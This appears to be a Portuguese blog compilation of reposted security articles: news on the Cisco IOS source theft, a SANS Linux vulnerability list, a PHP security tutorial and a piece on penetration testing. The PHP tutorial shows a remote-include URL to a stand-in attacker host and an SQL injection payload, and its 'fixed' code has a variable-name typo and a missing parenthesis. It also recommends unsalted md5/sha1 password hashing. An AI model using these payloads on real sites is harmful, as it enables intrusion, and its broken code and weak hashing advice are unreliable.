Ricardo Amaral

Um sueco foi indiciado na terça-feira por ter participado no roubo do código-fonte do IOS (Internetwork Operating System), sistema operacional usado nos roteadores da Cisco, responsáveis por boa parte da infra-estrutura de internet atual.

Philip Gabriel Pettersson, 21, foi indiciado uma vez por invasão e duas vezes por apropriação indevida de segredos comerciais. Ele ainda foi indiciado em dois casos de invasão a servidores da Nasa, a agência espacial norte-americana.

Segundo a Divisão de Crimes do Departamento de Justiça dos EUA e Joseph Russoniello, promotor do Distrito da Califórnia, Petterson só pôde ser indiciado depois de uma extensa investigação do FBI, agência de investigação norte-americana.

Petterson foi identificado como “Stakkato”, hacker que teria invadido os servidores da Cisco entre 12 e 13 de maio de 2004. Outras invasões a grandes sites foram realizadas por Stakkato na mesma época.

No total, Petterson soma cinco indiciamentos e cada um deles pode render até 10 anos de prisão, mais multa de 250 mil dólares. Se o cracker for condenado em instância máxima em todos os casos, ele pode ser sentenciado a 50 anos de prisão e multa de 1,25 milhão de dólares.

O sistema IOS é o coração dos roteadores e switchers da Cisco, além de outros produtos da empresa. Em maio de 2004, partes do código-fonte do sistema operacional foram roubados e publicados em um site russo.

Na ocasião, especialistas em segurança disseram que isso poderia ser prejudicial à internet, já que crackers poderiam usar as informações para atacar os equipamentos que sustentam a rede mundial de computadores.

Fonte: http://idgnow.uol.com.br/seguranca/2009/05/06/sueco-e-acusado-de-roubar-codigo-fonte-de-roteadores-da-cisco/

Para os adeptos de plantão, este artigo não é para gerar polêmica, mas para servir de ALERTA. Muito falamos a respeito da segurança do sistema operacional Linux, mas bem sabemos que ele também tem suas vulnerabilidades. Quais? As da Microsoft parece que todo usuário Linux sabe de cor, mas e as vulnerabilidades do próprio sistema operacional Linux?

Pois é, aqui vai o alerta. Um dia escutei a frase: "o sistema operacional mais seguro é aquele que você mais domina" e tive que concordar plenamente. Pesquisando, então, sobre as vulnerabilidades do Linux, esperando encontrar pouca coisa, achei muita gente relatando seus problemas. Até que encontrei no site da SANS uma pesquisa realizada pela própria SANS junto ao FBI, e pude esclarecer essa minha dúvida. A pesquisa aborda as 20 maiores vulnerabilidades encontradas, sendo dez para servidores Windows e dez para servidores Unix.

As brechas do Linux

Abaixo estão listadas as dez maiores vulnerabilidades do Sistema Operacional Linux/Unix, traduzidas em outubro de 2003 e ainda hoje presentes:

1. BIND – O BIND é o principal serviço de ataque dos crackers. A maioria dos bugs já foram resolvidos, mas a maioria das pessoas mantém as versões mais antigas por uma questão de funcionalidade e também por não disporem de tempo para a migração.
2. RPC – O RPC é um serviço para receber chamadas de procedimentos que serão executados remotamente. É extremamente importante para a funcionalidade da rede interna, pois é utilizado para distribuição de carga, processamento distribuído, cliente/servidor etc. O NFS, que é um dos sistemas de arquivos de rede mais conhecidos e utilizados, usa diretamente o RPC.
3. Apache – Sem dúvida é um servidor web bem mais robusto que o IIS da Microsoft, mas não deixa de estar exposto à Internet. Vários ataques a sistemas operacionais *NIX ocorrem pelo Apache, principalmente para servidores com execução de scripts e permissões de acesso a programas.
4. Contas de usuários – Esta vulnerabilidade ocorre principalmente em contas com senhas fracas ou nulas. Parece ridículo, mas existem pessoas que conseguem invadir sistemas descobrindo senhas pelo método da tentativa e erro e, geralmente, as senhas são as mais óbvias possíveis. Nesses casos, não é o sistema que é violado, mas a conta do usuário. Uma vez tendo acesso ao sistema, o invasor pode se tornar bastante incômodo.
5. Serviço de transferência em ASCII – FTP e email são os programas diretamente relacionados a esses serviços. Todo o conteúdo que passa por eles sob a forma de texto puro – isto é, não criptografado, o que ocorre na maioria das instalações – pode ser capturado. Basta alguma informação ou uma senha secreta para que a porta seja aberta.
6. Sendmail – É, talvez, o pior serviço de email do *NIX, em comparação com seus próprios concorrentes. Tende a ser lento e problemático. Mas é o mais utilizado, porque é extremamente flexível. É possível implantá-lo rapidamente, por isso é a maior fonte de furos existente na comunidade. Se puder, substitua-o.
7. SNMP – Uma excelente ferramenta administrativa, principalmente para grandes empresas. Contudo, por ser um projeto baseado na comunicação com a rede, está sujeito a vulnerabilidades. O serviço é ativado por padrão nos sistemas Linux, o que causa o esquecimento por parte dos usuários.
8. SSH – É a solução ideal para acesso remoto seguro, abolindo de vez o venerável Telnet. No entanto, pode tornar-se totalmente ineficaz se não for administrado corretamente. Escolha o nível de segurança mais desejado, lembrando que ele é diretamente proporcional ao trabalho para configurá-lo. E não se esqueça de proteger as chaves privadas dos usuários!
9. Compartilhamento de arquivos – Ocorre principalmente com NIS/NFS e Samba mal configurados. Pode comprometer a segurança, abrindo brechas para ataques externos.
10. SSL – Embora seja extremamente eficaz para criar conexões seguras entre cliente/servidor, o SSL permite o acesso ao servidor por parte do cliente. Pode se tornar uma porta para o acesso de intrusos.

Depois dessa lavada de vulnerabilidades, vale deixar alguns comentários. A vulnerabilidade não está necessariamente relacionada ao uso desses serviços, mas está muito relacionada a sua má configuração.

Não confie demais na sua segurança. A desconfiança é o melhor aliado de um bom administrador.

Como diminuir a vulnerabilidade

Um sistema bem administrado diminui enormemente a probabilidade de invasão. Segundo as vulnerabilidades aqui discutidas, vamos a algumas dicas de segurança:

1. BIND – Procure adotar uma política de mascaramento das informações.
2. RPC – Use o serviço somente se necessário.
3. Apache – Ajuste bem as configurações. Habilite somente scripts e programas com destino correto e que não comprometam de forma alguma o sistema.
4. Contas de usuários – Evite criar contas de usuários em demasia, principalmente contas para acesso multiusuário. Adote uma política de senhas seguras e jamais permita o acesso a serviços e contas de usuários sem senha.
5. Serviços ASCII – Toda comunicação pode e deve ser feita de forma criptografada. Arquivos ASCII são muito vulneráveis e todos podem ter acesso ao seu conteúdo facilmente.
6. Sendmail – Atualize e configure corretamente. De preferência, gaste um pouco de tempo e implemente outro servidor.
7. SNMP – Não se esqueça de estabelecer as regras de utilização do serviço. Não use se não for necessário.
8. SSH – Muitíssimo bom, mas configure-o da forma mais restrita possível. Restrinja o acesso somente a usuários do sistema. Se possível, restrinja o acesso ao servidor X. Controle o acesso às chaves privadas. Bloqueie senhas em branco, pois elas se tornam uma arma na mão dos invasores.
9. Compartilhamento de rede – Compartilhe somente o que for necessário e restrinja ao máximo o acesso dos usuários ao compartilhamento. De preferência, use alguma ferramenta de autenticação.
10. SSL restritiva é a melhor opção quando não puder ficar sem ela.

Dicas gerais de segurança

• Execute somente os serviços necessários para a operação da sua rede. Serviços que não são muito utilizados caem no esquecimento do administrador.
• Verifique se os serviços estão rodando com privilégios de root. Essas permissões geralmente causam os maiores furos na segurança. Se não for necessário, desabilite essa opção.
• Verifique se os serviços estão configurados adequadamente à sua rede. Tutoriais e How-To’s geralmente indicam o caminho de como configurar, mas na sua maioria não são muito específicos.
• Estabeleça uma política de segurança para a sua rede, como serviços de compartilhamento disponíveis, política de senhas etc.
• Firewall. Estabeleça um filtro de tudo que entra na sua rede. De preferência feche todas as portas que não são necessárias para o funcionamento do servidor.
• Evite serviços de comunicação p2p, como servidores de músicas, vídeos e até chats e mensagens.
• Como última dica: monitore. Diz o ditado que “o boi só engorda aos olhos do seu dono”. Se você cuida da sua rede, dificilmente terá problemas de vulnerabilidade.

Fonte: http://www.linuxmagazine.com.br/materia/o_linux_e_seguro

Vou falar sobre alguns erros comuns que são cometidos por programadores que estão começando agora. Resolvi fazer esse artigo pois vejo diariamente em fóruns de PHP pessoas com erros em scripts que possuem rombos enormes de segurança… Não prometo deixar o seu sistema tão protegido quanto o carro do Obama mas, sem dúvida, você vai evitar que muita gente faça um estrago considerável no seu site.

Se você se identificar com algumas dessas medidas não saia correndo e se jogue da ponte… Faça os devidos ajustes e tudo ficará bem!

Cuidados com a URL - Parte I

Uma falha muito comum são aqueles sites que, tentando usar um sistema "legal", acabam abusando da sorte. São sites que incluem o conteúdo (via include()) baseado em uma variável do método $_GET. Exemplo:

<?php
// Verifica se a variável $_GET['pagina'] existe
if (isset($_GET['pagina'])) {
$arquivo = $_GET['pagina']; // Pega o valor da variável $_GET['pagina']
} else {
$arquivo = 'home.php'; // Se não existir variável, define um valor padrão
}
include ($arquivo); // Inclui o arquivo
?>

E na URL do site ficaria:

http://www.meusite.com.br/?pagina=contato.php

Com isso o "invasor" pode, por exemplo, colocar um caminho de um script externo no lugar da variável:

http://www.meusite.com.br/?pagina=http://sitedumal.net/deleta-banco.php

O seu site incluiria o arquivo normalmente e executaria tudo que existe dentro dele. O resto você já pode imaginar.

Evitar que isso aconteça é extremamente simples: é só criar um array contendo os nomes dos arquivos que poderão ser incluídos, dessa forma:

<?php
// Define uma lista com os arquivos que poderão ser chamados na URL
$perimitidos = array('home.php', 'produtos.php', 'contato.php', 'empresa.php');
 
// Verifica se a variável $_GET['pagina'] existe E se ela faz parte da lista de arquivos permitidos
if (isset($_GET['pagina']) AND (array_search($_GET['pagina'], $permitidos) !== false) {
$arquivo = $_GET['pagina']; // Pega o valor da variável $_GET['pagina']
} else {
$arquivo = 'home.php'; // Se não existir variável $_GET ou ela não estiver na lista de permissões, define um valor padrão
}
include ($arquivo); // Inclui o arquivo
?>

Viu? Adicionamos uma única linha e mais uma condição e está tudo resolvido. Com isso, se o atacante colocar lá o site dele na URL do seu site, o PHP vai identificar que a variável $_GET['pagina'] existe mas não está no array $permitidos, então ele vai incluir o arquivo home.php.

Cuidados com a URL - Parte II

Outro erro comum é quando passamos parâmetros pela URL, por exemplo: o ID de uma categoria ou de um produto que, mais tarde, será buscado direto no banco para recolher algumas informações.

Geralmente o formato é o seguinte:

http://www.meusite.com.br/produtos.php?id=12
ou
http://www.meusite.com.br/?pagina=produtos.php&id=12

Com isso (se você não se preparar) você deixa uma porta aberta para um ataque famoso chamado SQL-Injection que nada mais é do que a inserção de um código SQL em um campo de texto ou parâmetro da URL que será enviado diretamente para o banco. Vamos a um exemplo:

<?php
// Formato da URL:
//  http://www.meusite.com.br/produtos.php?id=12
 
// Salva o parâmetro da URL numa variável
$produto = $_GET['id'];
 
// Monta a consulta MySQL
$sql = "SELECT * FROM `produtos` WHERE `id` = '".$produto."' LIMIT 1";
 
// Executa a query
$query = mysql_query($sql);
 
// Salva o resultado (em formato de array) em uma variável
$resultado = mysql_fetch_assoc($query);
 
?>

A sua consulta ao MySQL ficaria da seguinte forma:

SELECT * FROM `produtos` WHERE `id` = '12' LIMIT 1

Até aqui tudo bem. Seu script funciona, você tem o que precisa e tá tudo na mais perfeita harmonia. Mas chega um desocupado invasor e modifica a sua URL deixando da seguinte forma:

http://www.meusite.com.br/produtos.php?id=' OR 1=1 OR "='

Agora a sua query MySQL fica assim:

SELECT * FROM `produtos` WHERE `id` = '' OR 1=1 OR '' = '' LIMIT 1

Viu o que aconteceu? As possíveis condições para a consulta ser verdadeira são: id igual a vazio, 1 igual a 1 e vazio igual a vazio. Essa consulta vai ser dada como verdadeira e todos os produtos serão retornados. Sim, meu amigo, é o fim do mundo.

Mas, como eu disse, não estou aqui para te assustar e sim para mostrar como resolver o pepino. Vamos a uma atitude simples mas que te salvará do Apocalipse… É só mudar uma linha:

// Salva o parâmetro da URL numa variável obrigando-o a ser um valor inteiro
$produto = (int)$_GET['id'];

Com isso eu digo que valor da variável $produto será igual ao valor inteiro (int de integer) da variável $_GET['id']. Problema resolvido, meus caros!  Se o atacante colocar uma string como parâmetro (todo SQL-Injection é uma string) ela será convertida para inteiro. E o valor inteiro de uma string é igual a zero.

Peço atenção dobrada para o entendimento desse último exemplo pois o SQL-Injection é o ataque mais comum dos últimos tempos.

Caso você passe parâmetros via URL que são strings e não números inteiros, você pode usar a função mysql_real_escape_string() da seguinte forma:

$parametro = mysql_real_escape_string($_GET['nome']);

Com isso você evita o uso de aspas e caracteres protegidos do MySQL mantendo a sua query segura. Esse caso também vale para formulários dos quais os dados vão direto para consultas MySQL (formulários de login, cadastro e comentários, por exemplo).

Sobre Usuários e Senhas

Outro ponto muito importante é não exibir, em momento algum, o nome de login (usuário) de algum usuário cadastrado no sistema. Lembre-se que para um usuário conseguir invadir a conta do outro ele precisa de duas coisas: usuário (ou e-mail) e a senha.. Se ele souber o usuário já tem 50% de sucesso.

Vale lembrar, também, que você não precisa deixar a senha do usuário na forma real quando salvá-la no banco. É muito mais seguro salvar um md5() ou sha1() da senha no banco e quando for necessário fazer a validação do usuário você também gera o md5() ou sha1() da senha que ele digitou e compara com o que há no banco. Assim, se por ventura alguém conseguir invadir e pegar todos os registros do banco de usuários, o máximo que ele irá conseguir são o usuário/e-mail e uma senha criptografada. Fonte: http://imasters.uol.com.br/artigo/12318/php/principais_falhas_de_seguranca_no_php

Pesquisas indicam que o grande número de ataques ocorre através de vulnerabilidades apresentadas em aplicações web e que a grande porcentagem desses ataques é realizada via protocolo http/S ou portas que estão freqüentemente expostas às comunidades web. Com esses fatos, é essencial que as corporações estejam em alerta para proteger suas aplicações web.

Como os aplicativos web tornam-se cada vez mais complexos, enormes quantidades de dados sigilosos, incluindo informações pessoais e financeiras são trocadas e armazenadas. E os consumidores esperam que estas informações sejam mantidas de maneira segura e sigilosa.

Existem dois métodos para descobrir vulnerabilidades em um aplicativo web: por meio de ensaio e invasão manual ou usando ferramentas automatizadas de varredura e análise estática.

A técnica de testes de segurança de invasão manual é um dos mais antigos métodos utilizados para descobrir vulnerabilidades em aplicações. Á medida em que a frequência dos ataques tem crescido e a complexidade das aplicações aumentado surgem cada vez mais especialistas em testes de invasão, ou "pen". O único objetivo destes profissionais consiste em encontrar e explorar problemas de segurança em aplicações web.

No final dos anos 1990, as empresas começaram a desenvolver técnicas para automatizar estes testes. Nessa época, a web tinha se tornado mais madura e navegadores estavam começando a ser capazes de lidar com as complexidades necessárias para a dinâmica das aplicações. O objetivo destas ferramentas foi antecipado para automatizar o processo de realização de varredura no aplicativo, injetar falhas e descobrir vulnerabilidades.

As ferramentas automatizadas são capazes de cruzar informações, analisá-las e testar as aplicações de uma maneira mais eficiente do que o teste de invasão manual. Estas ferramentas têm amadurecido e a maioria das vulnerabilidades existentes hoje já está endereçada e é bem resolvida. Além disso, como os aplicativos web continuam a crescer em tamanho, o teste manual está ficando cada vez mais difícil. Em muitas organizações ele se torna praticamente impossível de ser aplicado, pois seria necessária a dedicação de muito tempo, esforço físico e dinheiro.

Embora as ferramentas automatizadas e testadores qualificados possam navegar em uma aplicação web, somente o testador é capaz de compreender a lógica por trás do fluxo de trabalho da aplicação. Este entendimento permite ao teste manual subverter a lógica do negócio. Por exemplo, um aplicativo pode direcionar o usuário a partir do ponto A ao ponto B e ao ponto C, onde o ponto B é uma validação de segurança. A revisão manual do aplicativo pode mostrar que é possível ir diretamente a partir do ponto A ao ponto C, ignorando totalmente a validação de segurança.

Tanto os testes manuais quanto os automatizados são métodos exaustivos de identificação de vulnerabilidades em aplicações web. Cada método tem suas forças e fraquezas inerentes e ambos podem ser usados para descobrir vulnerabilidades críticas de segurança.

As ferramentas automatizadas nunca devem substituir completamente os testes manuais. No entanto, se usadas corretamente, estas ferramentas podem ser usadas para encontrar uma ampla gama de técnicas de vulnerabilidades, economizando tempo e dinheiro. Sofisticadas organizações utilizam a combinação correta de ferramentas automatizadas e ensaios de invasão manual para proporcionar uma melhor segurança do aplicativo web.

Fonte: http://www.decisionreport.com.br/publique/cgi/cgilua.exe/sys/start.htm?infoid=4141&sid=15